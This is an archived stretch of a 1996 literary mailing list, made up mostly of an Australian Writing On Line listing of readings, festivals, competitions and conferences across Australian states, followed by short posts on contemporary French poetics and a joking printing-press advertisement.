Every Monday 7pm Monday Night Live, comedy, drama, dance, poetry, music, monologue and mime. At the Blue Fox Bar 274 Victoria Street Darlinghurst (opposite the fire station). Details phone Christo (02)[redacted] or Leslie (02) [redacted].

Every second Tuesday...POETRY SUPREME 9pm, Eli's Restaurant, 132 Oxford Street, Darlinghurst. Details phone/fax (02) [redacted]

Every Sunday...THE WORD ON SUNDAY 11.30am Museum of Contemporary Art, Circular Quay. 2 Admission $8/ $5.. Details phone (02) [redacted].

Every Thursday...POETRY ALIVE 11am-1pm, Old Courthouse, Bigge Street, Liverpool. Details phone (02) [redacted].

Every Tuesday night THE WALLS HAVE EARS 8.30 till late. Upstairs at the Little West Cafe 346 Liverpool Street Darlinghurst. Details Clare McGregor (02) [redacted].

Second Monday The Hawkesbury Writing Group meets at 7.30pm in one of the meeting rooms of the Richmond Ex-Servicemen's Club, East Market Street Richmond NSW. Details ph Pat Lindsay (045) 765945

1st and 3rd Wednesday ...POETS UNION 7pm, The Gallery Cafe, 43 Booth Street, Annandale. Details phone (02) [redacted].

1st Friday...EASTERN SUBURBS POETRY GROUP 7.30pm, Everleigh Street, Waverly. Details phone (02) [redacted].

1st Tuesday...ICEBREAKERS GAY POETRY 8pm, 197 Albion Street Surry Hills. $2 includes free coffee. Details phone Noel Tointon (02) 3172257.

2nd & 4th Thursday...FRESH WORDS 7.30pm The Poets Union on Oxford Street, Berkelouw Books, 19 Oxford Street Paddington. Guests and open section. Phone Anna (02) [redacted] or 015 704 364 or Nick Sykes (02) [redacted].

3rd Sunday 2 - 4pm INTERLUDES at the Lethington Community Centre 133 Smith Street Summer Hills. Poets, musicians and storytellers. December reading will be held on 17 December Details ph Joye Dempsey (02) [redacted]

3rd Sunday...POETRY WITH GLEE: THE POETS UNION AT GLEEBOOKS. 2-4pm, 49 Glebe Point Road, Glebe. Admission $5/$2 Details Nick Sykes (02) [redacted].

4th Monday of each month...FUTURE POETS SOCIETY 8pm, Lapidary Club Room, Gymea Bay Road, Gymea. Details phone Anni Featherstone (02) [redacted].

4th Wednesday...LIVE POETS AT DON BANKS MUSEUM 7.30pm, 6 Napier Street North Sydney. Guest reader plus open section. Admission $6 includes wine. Details phone Sue Hicks or Danny Gardiner (02) [redacted].

Writers at the River, Roscoes Riverside Restaurant, Penrith, NSW. Open Section included. For information on January reading contact Carl Leddy (047) 21 2087.

Sunday 14 January 1996 Babell: Sydney Fringe Writers and Small Press Festival Preseted by Ariel Booksellers.

Located at the refurbished Paddington Town Hall, the festival will bring you a whole day packed with readings and discussions, poetics and publishers, book launches, CD ROM, poetry software, visual text, small press and 'zines, the Ern malley Memorial Bar and much more. The festival will focus on writing which exists in the margins and on the fringe and which is mostly quite happy to be there - providing a rich and fertile ground for our literature. Guests will include John A Scott, Tom Flood, berni janssen, Paul Kelly, UWS students and many more performance poets, authors, publishers and bibliophiles. Launches include that of Sabrina Achilles first novel Waste. Ariel Bookstore will relocate for the day bringing with it a multitude of local small presses and journals, the Poetry Book Club of Australia, Australian Writing On Line (AWOL), visual text, CD ROMs, an internet display and much much more. Cost $7/$5 for each session, $15/$10 for day pass. Tickets available from Ariel Booksellers, 42 Oxford Street Paddington or from the Sydney Fringe Office on phone (02) [redacted]. For further details contact Lisa Herbert on phone (02) 3324581.

23 - 28 January 1996 - 1996 Sydney Writers' Festival

Hailed as the major literary event in NSW, the Sydney Writers' Festival is held in association with the Sydney Festival and the State Library of NSW. Programmed events include author profiles, readings, film screenings, discussion sessions, book launches, literary feasts, research tours, master classes, special events and activities for young people.

International writers include: Walter Mosley, David Guterson, Barbara Kingsolver, Terry Pratchett, Romesh Gunesekera, Alison Fell, Evelyn Lau, Peter Matthiessen, Ko Un and the Nuyorican Poets Cafe Live. Australian writers include: Dorothy Porter, Amy Witting, Peter Singer, Geraldine Brooks, Jenny Pausacker, Hanifa Deen, Morris West, Frank Moorhouse, Yasmine Gooneratne, Anne summers, Jill Kitson, David Marr, Hazel Hawke, Herb Wharton, Justine Ettler, Arlene Chai, Fiona Capp, Rosie Cross, Linda Jaivin, Gary Dunne and many more.

The Sydney Writers' Festival hotline will be in operation from mid-December. People requiring information about the Writers' Festival can call (02) [redacted] or fax (02) [redacted] for details.

NSW WRITERS' CENTRE EVENTS

Techniques, Emotions & Action: A creative writing workshop. 24 & 25 February 1996 10am-5pm. Conducted by Pearle McNeill and Beatriz Copello. Cost $110 NSWWC members, $140 non members, $90 conc.

Multimedia Interactivity and Collaboration for Writers: A six week course with David Jobling. Tuesday evenings 6.30 - 9.30pm from 20 February to 26 March. $150 NSWWC members, $200 non members, $130 conc.

The Poets Voice - a 2 day poetry workshop with Colleen Burke. 9 & 16 March 10am to 4pm each day. Cost $110 NSWWC members, $140 non members, $90 conc. Writing the Self and Others: A weekend workshop with Patti Miller for people who want to get started on their life story or that of a family member. Cost $110 NSWWC members, $140 non members, $90 member conc.

Out of the Bottom Drawer: Creative Writing Workshops with Colleen Burke. 8 weeks Wednesdays 10am to 1pm from 28 February to 17 April. Cost $120 NSWWC members, Non members $150, member conc $100.

WOMEN WRITERS' NETWORK 2nd Wednesday. 7.30pm, NSW Writers' Centre. Details Ann Davis (02) [redacted].

FEMINIST & EXPERIMENTAL WRITERS' GROUP meets every second Friday 6.30-9.30pm. Details Margaret Metz (02) [redacted] or Valerie Williamson for details of venues.

Unless otherwise stated all NSWWC events are held at the centre in Rozelle Hospital grounds (enter from Balmain Road opposite Cecily Street and follow the signs).

REGIONAL NSW

ARMIDALE 1st Wednesday 7.30pm, Rumours Cafe in the Mall. Details phone James Vicars (067) 73 2103

WOLLONGONG 2nd & 4th Tuesday 7.30pm, Here's Cheers Restaurant, 5 Victoria Street, Wollongong. Details phone Ian Ryan (042) 84 0645.

LISMORE 3rd Tuesday 8pm. Stand Up Poets, Lismore Club, Club Lane. Details phone David Hallett (066) 891318.

MULLUMBIMBY second Saturday morning of the month 10am - noon. POWEM women's workshop. Mayor's room upstairs, opposite RSL Club, Dalley Street Mullumbimby. Contact Philmoena Scheehan (066) 80 1006.

NEWCASTLE / HUNTER VALLEY

3rd Monday... Poetry at the Pub. Northern Star Hotel, 7.30pm Beaumont Street Newcastle Street $2/$1. Details phone Bill Iden (049) 675 972

MAITLAND Poetry group 4th Friday 7.30, Literary Institute in Banks Street East Maitland. $2. Details phone Bruce Copping (049) 301497.

KANGAROO VALLEY Last Friday...Writers in the Valley "music .poetry and social interaction in Kangeroo Valley". For details on venue and times ring Diana Jaffray on (044) 651 334

BLUE MOUNTAINS Friday Nights at Varuna Writers' Centre 7.30pm: Includes tea, coffee & biscuits. $2 buys entry and a lucky door ticket. Varuna Writers' Centre, 141 Cascade Street Katoomba NSW 2780. Details ph Peter Bishop (047) 825 674.

WAUCHOPE Second Sunday 3pm Poets in the pub, readings performances & music at the Star Hotel, organised with 2WAY FM and taped for Broadcast. Details P Denton (065) 85 93929 or Trevor Corliss (065) 84 8023. WAGGA WAGGA

The next reading in Wagga will take place on the 5th March 1996

Enquiries: David Gilbey (069) 332465

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SOUTH AUSTRALIA

ADELAIDE

Tuesday 9 January Friendly Street Readings at the the Box factory, Little Regent Street South Adelaide 7.30pm. Guest reader Steve Edwards. Details phone Stephen Lawrence (08) [redacted] or Glen Murdoch (08) 2728189.

Saturday 20th January, 1996, 7.30 pm. Stagefright at the Box Factory, Regent St, Adelaide, $5.00 admission. Adelaide writers, performers, musicians, puppeteers, dancers and performers: Rebecca Reid and Chris Rayner, Jenny Weight, Susan Richardson, Moya Costelo, Graham Maloney, Daniel Aquilina and Jude Aquilina, Jluie Limnios, Suzanne Sullivan and Jo Machete.

2nd & 4th Tuesday Poets in the Pub The Governor Hindmarsh Hotel 59 Port Road 8pm. Open readings. Details phone Barry McKee (08) [redacted].

Every Friday Interactive Port O'Call opposite Johnny Rockets at the rear of 281 Rundle Street. 8.30pm. Open reading. Free. Details phone (08) 2236113.

3rd Thursday Salisbury Writers Meetings at the Salisbury Central Library 6.30-8.30pm. Visitors and new members welcome. Details phone (08) [redacted].

March 3-8, 1996 The Telstra Adelaide Festival 96 Writers Week will present Writer's Week In The Writers' Week Tents, Pioneer Women's Memorial Gardens.

Featuring. Overseas Writers: Fred d'Aguiar, Vikram Chandra, Adrian Edmondson, Jostein Gaarder, Sue Grafton, Amin Maalouf, E. Annie Proulx, Giorgios Heimonas, Philip Jeyaretnam, Barbara Trapido, Malcolm Bradbury, J. M. Coetzee, James Elroy, Jane Garden, Josephine Hart, Michael Ignatieff, Barry Lopez, Paul Muldoon, Rupert Thomson, Vassilis Vassilikos. Australian Writers: Ken Bolton, Kaz Cooke, Liam Davison, Sara Dowse, Fotini Epanomitis, Steve Evans, John Forbes, Kate Grenville, Marian Halligan, Colin Hope, Gail Jones, Mike Ladd, Peter McFarlane, John Marsden, Stephen Mueke, Dorothy Porter, Matt Rubinstein, Trevor Sykes, Glenys Ward, Ben Winch, Tim Winton, Lily Brett, Evelyn Crawford, Bruce Dawe, Philip Drew, Susan Errington, Tim Flannery, Pene Greet, Rodney Hall, Christine Harris, John Jenkins, Antigone Kefala, Cath Kenneally, Maureen McCarthy, Humphrey McQueen, Meahgan Morris, Neil Paech, Gillian Rubinstein, Kim Scott, Ania Walwicz, Herb Wharton, Keith Windshuttle, Amy Witting. A detailed program ofevents with information on all sessions and participating writers and speakers will be available a month before the Festival. Copies of the Writer's Week Program Guide can be reserved by sending your name and address with a cheque or money order for $8:00 (payable to The Adelaide Festival) to: Writer's Week Program Guide, GPO Box 1269, Adelaide, SA. 5001, Australia.

Poets on Popeye. In conjunction with the Adelaide Fringe Festival the Writers Centre will be running two Poets on Popeye trips at sunset on Wednesday 6 and Thursday 7 March. Participants will be listening to poetry by leading

international, interstate and local poets. Bookings through Venue*Tix. Cost $25/$20 conc.

Writers' Centre SA Events

Every 2nd Wednesday 10am. First meeting for 1996 will be on 17 January.City Scribes writers group meet at the Writers' Centre. Details phone Jenny (08) 2948602 or Jeanne (08) [redacted].

Every 2nd Wednesday 7.30pm Children's Writers Group meets at the Writers' Centre. This is a discussion group for active children's writers. Details phone Jeri Kroll (08) 269627.

For all country members of the Writers' Centre there will be a Country Groups' Meeting at the Centre on Saturday 9 March from 10 -4 pm. Contact the centre for further details

Sunday 4 February 2pm Prose reading at the Writers' Centre. Bring a ten minute slice of your work to try out on fellow writers or come and listen and enjoy. Details phone John Rimmer (06) 3367474

Unless otherwise stated all Writers' Centre of South Australia events are held at the Centre 187 Rundle Street Adelaide. Details phone Mary Combe (08 [redacted], fax (07) [redacted],

REGIONAL SOUTH AUSTRALIA

1st Wednesday. Blackboard Stage Sessions. The Anchorage, Victor Harbor, is the new venue for a new and regular night of participation and entertainment. Those interested in taking the stage for 15 minutes with a performance piece should contact Wendy Feltus on (085) 553277 for further details.

Last Sunday of the month 2pm Gawler Poetry at the Railway Family Hotel, corner 18th and 15th Streets Gawler. 1996 readings recommence on Sunday 31 March. A poetry segment will be aired on channel 9's Adelaide Today program each Friday prior to the Sunday readings. Open Readings. Free Details phone Martin Johnson (085) 224268.

Every second Monday Yankalilla District Writers' Group meets from 9.30pm at the RSL Hall Main Road Normanville. Details phone Claire Brooks (085) 582294.

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QUEENSLAND

Wordsmith Cafe Readings. The next event will be a book signing by Terry Pratchett on Monday 22 January 1996 between 1 & 2 pm. Wordsmiths - The Writers Cafe is located adjacent to the University Bookshop, Staff House Road, St Lucia. Details Helen Wood Grant ph (07) 3652168, Fax (07) 3651977.

Every Tuesday Bombshelter Bar Story Bridge Hotel Brisbane Writers SLAM Guest speakers, word games, literary quizzes - win cash and prizes. $3. Details Phone Bernie (07) 3378 0341.

Every second Monday 1.30pm at West End Community House, 4 Norfolk Road South Brisbane. A new literary and creative writing group has been set up to talk about literature, to read your own work and receive feedback. Writers from non English speaking backgrounds are particularly welcome. Details Barbara Damska (07) 3844 0091.

Every second Saturday Passions of a bookworm will be holding readings and discussions at their premises at 4/635 Wynnum Road, Morningside. Details and time ph (07) 3217 9300.

Writers in Townsville meets every Wednesday at 7.30pm at the Migrant Resource Centre Walker Street. Readings of manuscripts, guest speakers etc. Details Yvonne (077) 71 2585. PO Box 5101 MSO Townsville Qld 4810

Queensland Writers Centre Events

EXCITING WRITING: READINGS OF NEW WORKS AT THE QUEENSLAND WRITERS' CENTRE

Crime Writers group is looking for new members to meet at the QWC. Details phone Pat Noad (07) 3397 0431.

NOW AVAILABLE FROM THE QUEENSLAND WRITERS' CENTRE..... HANDBOOK FOR QUEENSLAND WRITERS.

Contents include Preparation, Representation, Professional Issues and Development and Funding. Cost $10 plus $1.50 postage for QWC members or $15 plus $1.50 for non members. For more information contact the QWC.

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VICTORIA

Last Friday 6.30pm MELBOURNE POETS Meeting and reading/workshop The Hawthorn Lower Town Hall, 360 Burwood Road, Hawthorn (entry and car parking at rear). 6.30pm meeting begins, 7.30pm reading/ workshop begins. Cost $3 (Members), $5 (non members). Details write to Martin French 1/16 Kent Road Surrey Hills Vic 3127.

3rd Sunday each month; 2pm Readings at the Eaglemont Bookshop 525 Brunswick St North Fitzroy. These readings apparently have been a little irregular over recent months so contact Shelton Lea ph (03) 4863219 to confirm.

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ACT

Writers Workshops. The ACT Writers Centre conducts regular writing workshops. For further information contact the ACTWC at Griffith Library, Blaxland Crescent ACT 2603 or phone (06) [redacted] or (06) [redacted].

3rd Monday ACT FAW meets 8pm Studio Room, Griffin Centre, Civic. Details Phone (06) [redacted].

The National Library of Australia is running a children's holiday program. Details phone (06) [redacted].

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WESTERN AUSTRALIA

DISK READINGS are held on the Third Tuesday of each month at Pockets Cocktail Lounge 44 Lark Street Northbridge. Admission is free. Details Mike Shuttleworth ph. (09) 4304991.

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The Katherine Susannah Prichard Writer's Centre, at 11 Old York Rd Greenmount, is perched on the side of the Darling Range, looking towards the towers of Perth and the setting sun. It is surrounded by National Park and the developing suburbs of the Hills district. The place is small and friendly and the kettle is nearly always on the boil.

The Centre holds readings on the first Sunday of the month at 7.30pm. Three invited readers are featured. Cost is $5/$4 and includes light refreshments. Faye Davis is currently writer-in-community working on a project called 'Writing in the Hills' Changes'. She is running moderately priced ($3.50 a session) workshops in the district, and is available for consultation at the house by appointment. (this project is supported by the Australia Council).

The house itself, former home of Katherine Susannah Prichard, is heritage listed and tours cost $5. Wednesday and Sunday are tour days. Ring first to book. A small writer's studio, once used by Katherine, is now used by writers-in-residence. The KSP Foundation, the Centre's management body, is currently investigating the possibility of letting the Studio on a short term basis to writers from the city, country and/or interstate.

Ring Rob Finlayson, the co-ordinator, on Thursdays, between 10.30am and 5.30pm (09) [redacted]., to chat about writing and writers, and to find out what's happening in the Hills of Perth and the sunburnt city at their feet. At other times ring the Chairperson, Rose van Scon (09) [redacted].

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TASMANIA

14-17 March 1996 Salamanca Writer Festival. Presented by TWU, the University of Tasmania and the Salamanca Arts Centre. Program includes Young Writers and Readers Festival, and Fringe events. Details phone Subi (002) 384 414, Marjorie (002) 344 384 or Fiona (002) 240 029.

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NORTHERN TERRITORY

Darwin

For further information about any of these events contact The Literature Officer, Northern Territory Community Writing Program GPO Box 1774 Darwin NT 0801, phone/fax (089) 412651.

Darwin Fellowship of Australian Writers conducts monthly meetings/workshops. Details Matthew Lonsdale ph (089) 278133, PO Box 37512
Winnellie NT 0821.

Katherine

Katherine Writers" Guild conducts regular workshops, meetings, recitals and produces a regular newsletter. $5 joining fee, $20 a year (conc half price). Details Lori Martin PO Box 2155 Katherine NT 0851.

Alice Springs

2nd & 4 Tuesday Alice Springs Fellowsip of Australian Writers meetings at the YWCA on Stuart Terrace. Details contact Meg Williams PO Box 1783 Alice Springs NT 0871.

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91. Mark Roberts
AWOL: January Happenings 2/2
Fri 5 Jan 1996

COMPETITIONS

NOVEMBER 95 TO JANUARY 96 AUSWRITE SHORT STORY COMPETITION Entries will be accepted from November to January with results published in March 1995. (No details provided on prizes). $5 entry fee per story. Limit 2,000 words. For details and entry forms contact Auswrite, PO Box 327 Mascot NSW 2020.

24-26 JANUARY: TAMWORTH BUSH POETRY COMPETITION Organised by the Tamworth Poetry Reading group for poems written and read or recited by the writer at the Tamworth Music Festival. For entry form send SSAE and addition stamp to the NSW Writers Centre PO Box 1056 Rozelle NSW 2039.

31 JANUARY 1995 THE PAUL JOHN STATHAM MEMORIAL SCIENCE FANTASY AND SCIENCE FICTION COMPETITION For a story between 3,000 and 5,000 words. 1st prize $2,000, two runners-up $200 each. Entry fee $5 per entry, no limit. For information send SSAE and addition stamp to the NSW Writers Centre PO Box 1056 Rozelle NSW 2039.

31 JANUARY DAHLIA AND ARTS FESTIVAL LITERARY COMPETITION Prizes $200 and $100 for short stories, and $200 for poetry and bush verse, plus certificates. For information and entry forms send SSAE to Literary Committee, 99 Victoria Street Eaglehawk VIC 3556, or call (054) 46 8240 after hours.

31 JANUARY MAKING FRIENDS FIRST WRITING COMPETITION A fund raising project to purchase recreational equipment for children of low income or solo parents. Short stories up to 1,000 words and poems up to 30 lines on the theme of personal relationships. No limit to the number of entries, entry fee is $3 (per short story), $2 (per poem). Prizes - $50 best short story, $25 for best poem and 6 merit awards in each section. Entries may be selected for a future anthology. For information and entry forms send SSAE to Making Friends, PO Box 422, Elizabeth SA 5112.

31 JANUARY: SILVEREVE SHORT STORY AWARD 1996 Short stories to 2500 words. 1st prize: $2500, 2nd prize: $1000, 3rd prize: $1000, 4th and 5th prizes: $500 - plus trophy. Entrants must be over 16 years of age. Open theme. No faxed entries. No entry form required. $20 entry fee each story. Cheque/money order payable to Silvereve Publications.. Limit of 2 entries per person. Results published in The Australian newspaper. Entries sent to: Teresa Henley, Award Co-ordinator, Silvereve Publications, PO Box 42, Kings Meadows Tasmania 7249.

10 FEBRUARY: TOP DOG JOURNAL ANNUAL SHORT STORY & POETRY COMPETITION. Short story to 1200 words, poems to A4 length. Must be about dogs. Attach signed statement: 'I am happy for this entry to be published should it receive an award in the Top Dog Journal'. State age if under 21. Top Dog Journal, PO Box 29, Berwick Vic 3806.

27th FEBRUARY BRONZE SWAGMAN AWARD FOR BUSH VERSE. Prize: Bronze Statuette of the Swagman designed and sculptured by Daphne Mayo, value $2,500, plus a Winton Boulder Opal value $250. Verse in traditional Australian form, must have an Australian bush theme. 1300 words max. Details and entry form, send SSAE to The Secretary, Winton Tourist Promotion Association, PO Box 44, Winton Qld. 4735. Tel: (076)571502.

29 FEBRUARY HARPER COLLINS FICTION AWARD (Formerly the Angus & Robertson Fiction Prize). Prize %10,000. For a first novel, the prize money represents an advance on first publication rights for publication. All entries must be accompanied by an entry form and $20 entry fee. Entry forms available

from The National Book Council, Suite 3/21 Drummond Place Carlton Victoria 3053. Ph 03 9663 8655 or fax 9663 8658.

2 MARCH EASTWOOD HILLS FAW 1996 GOLDEN SLIPPER DAY SHORT STORY COMPETITION Theme: Golden Slipper Horse Racing Festival. First $150 Second $50. 2500 words maximum. Entry fee $3 per entry. Cheques payable to Eastwood Hills FAW. For information sheet send SSAE to: Competition Secretary, Eastwood Hills FAW, PO Box 4663, North Rocks NSW 2151. No entry form required. Phone enquiries: Denise Aldridge (02) [redacted] before 9 pm.

29 MARCH FROM THE LAKE EYRE BASIN 1996 WRITING COMPETITION 1st prize $500. Any genre accepted. Contact Arts West, 17 Shamrock Street Blackall, Qld 4472 for details and entry forms.

3lst: KARRINYUP WRITERS' CLUB 10TH ANNIVERSARY COMP Short stories to 2000 words, poetry to 60 lines. Entry fee $3 each entry. Prizes $100, $50, $25 each category. Winning entries to be published in an Anthology. Send SSAE to Comp. Sec. 16 Penlea Glade, Kiara WA 6054.

31 MARCH WANNABEE PUBLISHING SHORT STORY COMP Wannabee Publishing, a new small publisher whose aim is to encourage unpublished writers, is holding a Short Story Competition. Open theme to 3000 words. First prize $100, Second $50, Two Highly Commended certificates. Prize winning entries will be published in a short story collection mid 1996. Entry fee $5 per entry. For entry form send SSAE to Competition, Wannabee Publishing, PO Box 21, California Gully Vic. 3356.

10 APRIL SOCIETY OF WOMEN WRITERS NSW INC SHORT STORY COMPETITION Prize $500. Entry forms (entry fee $3) from SWW, GPO Box 1388, Sydney NSW 2001. Details ph (02) [redacted].

16 APRIL HENRY LAWSON SOCIETY OF NSW ADULT LITERARY AWARDS Short story and poetry awards. 1st prize $200, 2nd prize $100, 3rd prize book in each category. For entry form and conditions send SSAE to the secretary, Henry Lawson Society of NSW Inc, PO Box 235, Gulgong NSW 2852. Details Chris Cooke (063) 74 1668.

TASMANIAN TRADES AND LABOUR COUNCIL 1996 MAY DAY SHORT STORY COMPETITION For a short story on a theme "Working lives' For details and entry forms contact Chris Trousselot (002) 287 866).

30 JUNE STRAND MAGAZINE'S FIRST POETRY COMPETITION Publication to the first (best?) ten poems, 2,500 pounds in prizes or equivalent in US $. 500 lines maximum. For entry forms send two international reply coupons to Strand Magazine, 179 Wingrove Road Newcastle upon Tyne NE 4 9DA, UK.

31 JULY NEW YOUTH LITERATURE SCHOLARSHIPS As part of the 1997 Youth Arts Scholarship program, the Independent Art Foundation Literature Scholarship and the Colin Thiele Literature Scholarship, each worth $6,000, will be offered annually to young South Australian writers to further their professional development and training. Interested young writers should contact Judy Potter, Director of Carclew Youth Arts Centre on ph (08) [redacted] for further information.

NO CLOSING DATE PROVIDED - SAYN X-PRESSION LITERARY COMPETITION This Literary competition for 12-25 year olds opens on 10 January and welcomes entries in the area of prose, poetry, script and song (no more than 1000 words). Prizes will be offered in all categories and writers may also have the opportunity to read their work on radio. For more information tune into SAYN X-PRESS, Fridays between 6.30 & 7.30pm on radio 5UV.

NO CLOSING DATE PROVIDED ARTERY DEVELOPMENT GRANTS Up to $500 is available towards projects in any artform for young people under 26 years. These grants are available to those who have not received grants previously. Contact Virginia at Carclew on phone (08) [redacted] for further information. Artery is a unique project of Carclew Youth Arts Centre.

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CONFERENCES

The Association for the Study of Australian Literature and the Library Society present: Words and Music

The Metcalfe Room, State Library of NSW, Saturday 3rd February, 1996

10.30 am Registrations and morning tea
11.00 Helen Hewson 'Musical Settings of John Shaw Neilson's poetry'
11.40 Marie Louise Ayres ' "Nim's Springtime Song": Dorothy Hewett as songmaker'
12.20pm Mandy Dyson 'Renegotiating the Australian Legend: "Khe Sanh" and the Jimmy Barnes Stage Persona'
1.00 LUNCH
2.00 Belinda McKay 'Songs without Words: The Encoding of Literary Ideas into Music; Hazel Smith 'The Interchange between Musical and Literary ideas in poetry and performance texts'
3.00 Sound and text: Performance by austraLYSIS

Registration includes morning tea and a light lunch
Members of ASAL or The Library Society $35 Non-members $40 Unwaged $15
Please send cheques payable to the Library Society to:
The Library Society, State Library of NSW, Macquarie St. SYDNEY 2000 by 25th January, 1996.

AUSTRALIAN STUDIES AND THE SHRINKING PERIPHERY: SURFING THE NET FOR AUSTRALIA.

The Centre for Australian Studies in Wales, University of Wales, Lampeter, are hosting this conference next year. Organisers are calling for papers.

"In recent years the consolidation of Europe into the 15 states of the EU, the integration of east and west within Europe, and the progressive turning of Australia to its own Pacific backyard have furthered the impression of periphery: one world's edge looking distantly at the other."

The contacts are:

Dr Graham Sumner and Dr Andrew Hassam
Centre for Australian Studies in Wales
University of Wales, Lampeter
Dyfed, SA48 7ED, Wales, UK.

Telephone: Graham Sumner [redacted] or 424790 (secretary) Fax: [redacted] Andrew Hassam [redacted] (secretary) Fax [redacted] E-mail: [redacted] or [redacted] Further information will be sent when available, and will appear on the Centre's WWW home-page (htp://www.lamp.ac.uk/oz).

3rd International/Australian Conference: Religion Literature and the Arts.

18 - 21 January 1996 Sancta Sophia College, University of Sydney. Invited speakers include: Karen Armstrong - a well known broadcaster from the UK and author of a number of books including The Gospel According to Woman, Tongues of Fire (an anthology of religious poetry) and A History of God, Professor Peter Steele SJ - professor of English, University of Melbourne and a poet and critic, Professor Elizabeth Isichei - Professor of Religious Studies, University of Otago New Zealand. She has written widely on African history and religion and, more recently, on religion and art in New Zealand, Nigel Butterley - a well known composer, Professor David Parker - Professor of English at the Australian Catholic University and Al Zolynas - a San Diego based poet. There will also be a Women's Artists' Forum with artists Kate Briscoe, Liz Coates and others and a Writers Forum including Rae Desmond Jones, Sara Dowse and others. Wing-It! Performance Ensemble from San Francisco (Phil Porter & Cynthia Winton- Henry).

Cost - Registration, including meals $160 (conc $130), Conference dinner $30. Accommodation is available in Sancta Sophia College at $40 per night including breakfast.

For further information contact Dr Michael Griffith, Department of Literature and Languages, Australian Catholic University, 179 Albert Road Strathfield NSW 2135. Phone (02) 7392192, Fax (02) 7392105.

3RD NATIONAL WOMEN IN PUBLISHING CONFERENCE.

To be held in Sydney on 23 March 1996. Details ph Anne Reily (02) [redacted].

1996 CONFERENCE OF THE AMERICAN ASSOCIATION FOR AUSTRALIAN LITERARY STUDIES

The 1996 conference of the American Association for Australian Literary Studies will be held at Humboldt State University, California, from April 18-21, 1996. Papers of 20 minutes' duration on any Australian literary or cultural subject are welcome.

For more information, please write: Professor Jack Turner, Department of English, Humboldt State University, Arcata, CA 95521, USA; e-mail [redacted] 1996 NATIONAL CHILDREN'S BOOK COUNCIL OF AUSTRALIA 'CLAIMING A PLACE'.

3-6 May at the Sheraton Hotel Brisbane. Guest speakers will include Monica Hughes, Gillan Cross, Anthony Browne and many distinguished Australian authors and illustrators. Registration forms will be available from November 1995. For further information contact the Children's Book Council of Australia (Tasmania) PO Box 113 Moonah Tasmania 7009

ASAL 1996 - BRISBANE

Queensland University of Technology is hosting the 1996 Association for the Study of Australian Literature annual conference, from Saturday July 6 to Thursday July 11. The conference will be held on the Gardens Point Campus, situated between the City Botanic Gardens and the river

Enquiries to the co-ordinators: Sharyn Pearce: School of Humanities,QUT, Carseldine Campus, Beams Rd., Carseldine Q.4034 or Email [redacted]. Fax 07 3864 4719. Email [redacted], or Philip Neilsen: School of Media and Journalism, Faculty of Arts, QUT, GPO Box 2434, Brisbane Q 4001. Fax 07 3864 1810. Email [redacted]

THE IRISH CENTRE FOR AUSTRALIAN STUDIES: AUSTRALIAN STUDIES CONFERENCE

The Irish Centre for Australian Studies will be holding an Australian Studies Conference in Dublin from 3-6 July 1996. The three major streams will be history, culture and the environment. For further details contact David Day Professor of Australian History Department of Modern History University College Dublin Ireland.

COMPARING AUSTRALIA: A CONFERENCE.

Call For Papers and Introductory Information. Dates: 30th August-1 September 1996 in Stirling, Scotland. Abstratcts not exceeding 200 words by 30th

November 1995. Papers 20 minutes delivery time. Registration forms will be mailed out in January 1996. For further information Contact Angela Smith, British Association for Studies on Australia, Centre of Commonwealth Studies, University of Stirling, Stirling FK9 4LA, UK Fax 01786 451 335 E-Mail: [redacted]

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While AWOL makes every effort to ensure the accuracy of Happenings listing we suggest you confirm dates, times and venue.

AWOL would like to thank the following organisation who provided information for this list: NSW Writers Centre, Queensland Writers Centre, The Writers' Centre of South Australia, Tasmanian Writers' Union, AusLit discussion group (internet), Muse (ACT) FAW WWW LINK (http://www.ozemail.com.au:80/~faw/) and the other individuals and organisations who supplied information about their events directly to AWOL.

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92. Mark Wallace
towards a new poetics
Fri 5 Jan 1996

I found Serge Gavronsky's introduction to his collection "Towards A New Poetics: Contemporary Writing in France" to be very instructive and insightful. He comments that cutting edge writers there are, while still coming out of a context of self-awareness about ecricture (that writing preceeds speech, that language determines conditions of meaning), moving away from the hard-edged ideology of Tel Quel towards refiguring a variety of possibilities disavowed by the Tel Quel writers (lyricism, mainly, but also a focus on the "everyday"). I found this similar to some arguments I've been making about the formal multiplicity of "post-language writers"--that, without abandoning the theoretical insights of language poetry, a number of writers are moving towards incorporating a wider variety of elements into those insights. I'm wondering, though, if there's anybody on this list with awareness about contemporary writing in France who disagrees with Gavronsky's descripton of the situation there. Can anybody help me out?

Thanks.

mark wallace

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93. Ward Tietz

Contemporary French Poetry

Fri 5 Jan 1996

Mark Wallace wrote: "I'm wondering, though, if there anybody on this list with an awareness about contemporary writing in France who disagrees with Gavronsky's description of the situation there? Can anybody help me out?"

I'm not an expert on contemporary French writing, but I can offer a couple of observations based on recent experience. My impression is that the situation in French poetry is perhaps a little more complex than you describe. I went to a presentation and discussion in Geneva a few months ago put on by editions POL (a fairly well-known French press) to inaugurate their new book-format magazine and I got the impression that they were pursuing a fairly eclectic agenda, publishing old and new work together, that is looking to history to validate their new projects. In a way this is probably consistent with Gavronsky's description, but as a method it wasn't very convincing.

Interestingly my Genevois friends (Geneva is French-speaking) find the French literary magazines rather conservative, conservative in the sense that French writing goes it's own course often unaware of developments in say the English speaking or German speaking world. This can be a strength or a handicap depending on the context and milieu and at present they seem to feel it's a handicap.

In 1992 Le Refuge in Marseilles, which functions as a poetry archive, reading and research space, put out a special pamphlet entitled Etats Generaux de la Poesie. This overview outlines a rather different state of affairs, with an emphasis on the extended dimensions of literature, including sound and visual production. This is in part because of Julien Blaine's influence, but to some extent Le Refuge does function as a refuge for this type of work, as well as the more traditional radical strains. They put out a pamphlet every few months or so, which generally covers recent readings, presentations and exhibitions. You can get onto their mailing list by writing to them at:

Le Refuge
Place Baussenque
F-13002 Marseilles
France

Ward Tietz

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94. { brad brace }
worldwide web presses
Fri 5 Jan 1996

... especially effective for those regions located 'more than 2 miles from the nearest telephone'...

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+-----------------------------------------+
|                                         |
|   1991 Heidelberg 19x25 four color press   |
|      MOVPH, Alcolor, CPC 103 console      |
|              $410,000                   |
|         Coast Printing Equipment         |
|            [redacted]                   |
|                                         |
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p.s.

don't forget your costs for censors, film, paper, ink, bindery-work, and postage/distribution

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{ brad brace } <[redacted]> ~finger for pgp
The 12hr-ISBN-JPEG Project: continuous hypermodern photo-art:
ftp.netcom.com/pub/bb/bbrace & ftp.teleport.com/users/bbrace
Usenet: alt.binaries.pictures.12hr / alt.culture.beaches
ftp://ftp.netcom.com/pub/bb/bbrace/bbrace.html
-> core.dump: http://www.teleport.com/~bbrace/bbrace.html

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95. Michael Boughn
webstuff
Fri 5 Jan 1996

